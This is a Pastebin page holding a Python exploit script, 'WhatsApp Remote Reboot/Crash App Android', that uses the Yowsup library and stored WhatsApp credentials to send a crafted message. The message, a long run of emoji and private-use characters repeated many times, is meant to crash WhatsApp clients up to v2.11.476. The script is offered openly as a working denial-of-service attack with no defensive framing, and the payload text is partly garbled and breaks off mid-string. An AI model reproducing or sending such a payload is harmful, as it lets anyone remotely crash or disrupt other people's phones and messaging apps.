Advertisement
hielasangre

WhatsApp Remote Reboot/Crash App Android

Dec 26th, 2014
3,992
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 17.53 KB | None | 0 0
  1. #!/usr/bin/python
  2. #-*- coding: utf-8 -*
  3.  
  4. # Title: WhatsApp Remote Reboot/Crash App Android
  5. # Product: WhatsApp
  6. # Vendor Homepage: http://www.whatsapp.com
  7. # Vulnerable Version(s): 2.11.476
  8. # Tested on: WhatsApp v2.11.476 on MotoG 2014 -Android 4.4.4
  9. # Date: 26/12/2014
  10. # #RemoteExecution - www.remoteexecution.net
  11. #
  12. # Author Exploit:
  13. #   Daniel Godoy       @0xhielasangre    <danielgodoy@gobiernofederal.com>
  14. # Credits:
  15. #   Gonza Cabrera
  16. #
  17. # Reference: http://foro.remoteexecution.net/index.php/topic,569.0.html
  18. #
  19. # Custom message with non-printable characters will crash any WhatsApp client < v2.11.476 for android.
  20. # It uses Yowsup library, that provides us with the options of registration, reading/sending messages, and even
  21. # engaging in an interactive conversation over WhatsApp protocol
  22. #
  23.  
  24. import argparse, sys, os, csv
  25. from Yowsup.Common.utilities import Utilities
  26. from Yowsup.Common.debugger import Debugger
  27. from Yowsup.Common.constants import Constants
  28. from Examples.CmdClient import WhatsappCmdClient
  29. from Examples.EchoClient import WhatsappEchoClient
  30. from Examples.ListenerClient import WhatsappListenerClient
  31. from Yowsup.Registration.v1.coderequest import WACodeRequest
  32. from Yowsup.Registration.v1.regrequest import WARegRequest
  33. from Yowsup.Registration.v1.existsrequest import WAExistsRequest
  34. from Yowsup.Registration.v2.existsrequest import WAExistsRequest as WAExistsRequestV2
  35. from Yowsup.Registration.v2.coderequest import WACodeRequest as WACodeRequestV2
  36. from Yowsup.Registration.v2.regrequest import WARegRequest as WARegRequestV2
  37. from Yowsup.Contacts.contacts import WAContactsSyncRequest
  38.  
  39. import threading,time, base64
  40.  
  41. DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
  42. COUNTRIES_CSV = "countries.csv"
  43.  
  44. DEFAULT_CONFIG = os.path.expanduser("~")+"/.yowsup/auth"
  45.  
  46.  
  47. ######## Yowsup Configuration file #####################
  48. # Your configuration should contain info about your login credentials to Whatsapp. This typically consist of 3 fields:\n
  49. # phone:    Your full phone number including country code, without '+' or '00'
  50. # id:       This field is used in registration calls (-r|-R|-e), and for login if you are trying to use an existing account that is setup
  51. #       on a physical device. Whatsapp has recently deprecated using IMEI/MAC to generate the account's password in updated versions
  52. #       of their clients. Use --v1 switch to try it anyway. Typically this field should contain the phone's IMEI if your account is setup on
  53. #       a Nokia or an Android device, or the phone's WLAN's MAC Address for iOS devices. If you are not trying to use existing credentials
  54. #       or want to register, you can leave this field blank or set it to some random text.
  55. # password: Password to use for login. You obtain this password when you register using Yowsup.
  56. ######################################################
  57. MINE_CONFIG ="config"
  58.  
  59. def getCredentials(config = DEFAULT_CONFIG):
  60.     if os.path.isfile(config):
  61.         f = open(config)
  62.          
  63.         phone = ""
  64.         idx = ""
  65.         pw = ""
  66.         cc = ""
  67.          
  68.         try:
  69.             for l in f:
  70.                 line = l.strip()
  71.                 if len(line) and line[0] not in ('#',';'):
  72.                      
  73.                     prep = line.split('#', 1)[0].split(';', 1)[0].split('=', 1)
  74.                      
  75.                     varname = prep[0].strip()
  76.                     val = prep[1].strip()
  77.                      
  78.                     if varname == "phone":
  79.                         phone = val
  80.                     elif varname == "id":
  81.                         idx = val
  82.                     elif varname =="password":
  83.                         pw =val
  84.                     elif varname == "cc":
  85.                         cc = val
  86.  
  87.             return (cc, phone, idx, pw);
  88.         except:
  89.             pass
  90.  
  91.     return 0
  92.  
  93. def main(phone):
  94.     credentials = getCredentials(MINE_CONFIG or DEFAULT_CONFIG )
  95.  
  96.     if credentials:
  97.          
  98.         countryCode, login, identity, password = credentials
  99.         identity = Utilities.processIdentity(identity)
  100.  
  101.         password = base64.b64decode(password)
  102.  
  103.         # Custom message that will crash WhatsApp
  104.         message = message = "#RemoteExecution๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ6๎ˆ„๎ˆ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ ๐Ÿ๐Ÿ๐Ÿ’๐Ÿ‡๎ˆ๎‡๐Ÿ‘๐Ÿˆ๐Ÿˆ๐ŸŒ๐Ÿ๎…๐Ÿก๎€ถ๎…–๎”๎…˜๎ฝ๎ฝ๎€ท๎”„๐Ÿค๎…๎…•๎€ธ๎€ธ๎…—๐Ÿก๎€ถ๎ˆœ๎ˆ๎ˆž๎ˆŸ๎ˆŸ๎ˆ ๎ˆ ๎ˆก๐Ÿ”ก๐Ÿ”ค๐Ÿ”คโ†”๎ˆน๎ˆนโ†”โ†•๐Ÿ” ๎ˆง๎ˆ†๐Ÿ’ ๎‰‚๎‰ƒ๎ˆ‘๎”ต๎‰„๎‰ƒ๎‰‚๎‰๎ˆฟ๎”ฒ๎”ด๎”ต๐Ÿ’ ๎ˆ‘๎ˆ‘โ™ป๎‰‘๎‰๎‰๎„ฎ๎ˆ„๎”ต๎”ต๎”ด๎”ณ๎”ฒ๎‰€๎”ต๎ˆ‘โ™ปโ™ป๎„ฎ๎ˆ„๎ˆ…โœ… ๎‘๐Ÿ˜Ž๎Ÿ๎…๎„†๎˜๐ŸŽผ๎‚๎‚๐ŸŽผ๎ƒ๐Ÿ˜ฉ๐Ÿ˜ˆ๐Ÿš”๎—๎€๎ŒŽ๎ƒ๎“๎˜๎—๐Ÿ˜—๐Ÿ˜™๎„…๎„…๎‰๎‰๐Ÿ˜›๐Ÿ˜›๎„†๎„†๎…๎…๎”๎–๐Ÿ˜€๎—๎•๎๎„๎ƒ๎Š๎Ž๎Ž๎˜๎˜๎˜๎†๎†๐Ÿ˜‡๐Ÿ˜ถ๐Ÿ˜ฏ๐Ÿ˜•๎๐Ÿ˜ฎ๐Ÿ˜ต๎‡๐Ÿ˜†๐Ÿ˜‹๐Ÿ˜‹๎Œ๐Ÿ˜Ž๐Ÿ˜ˆ๎„š๎„š๎ถ๎ท๎ธ๎บ๎น๎ป๎„—๎€ณ๎‘ˆ๎„›๎‘…๎‘†๎‘‚๎‘€๎‘€๐ŸŽ‹๐ŸŽŠ๐ŸŽŠ๎Œ๎…ƒ๎…ƒ๐Ÿ”ฎ๐Ÿ”ฎ๐ŸŒฝ๎‰๎Š๐Ÿ 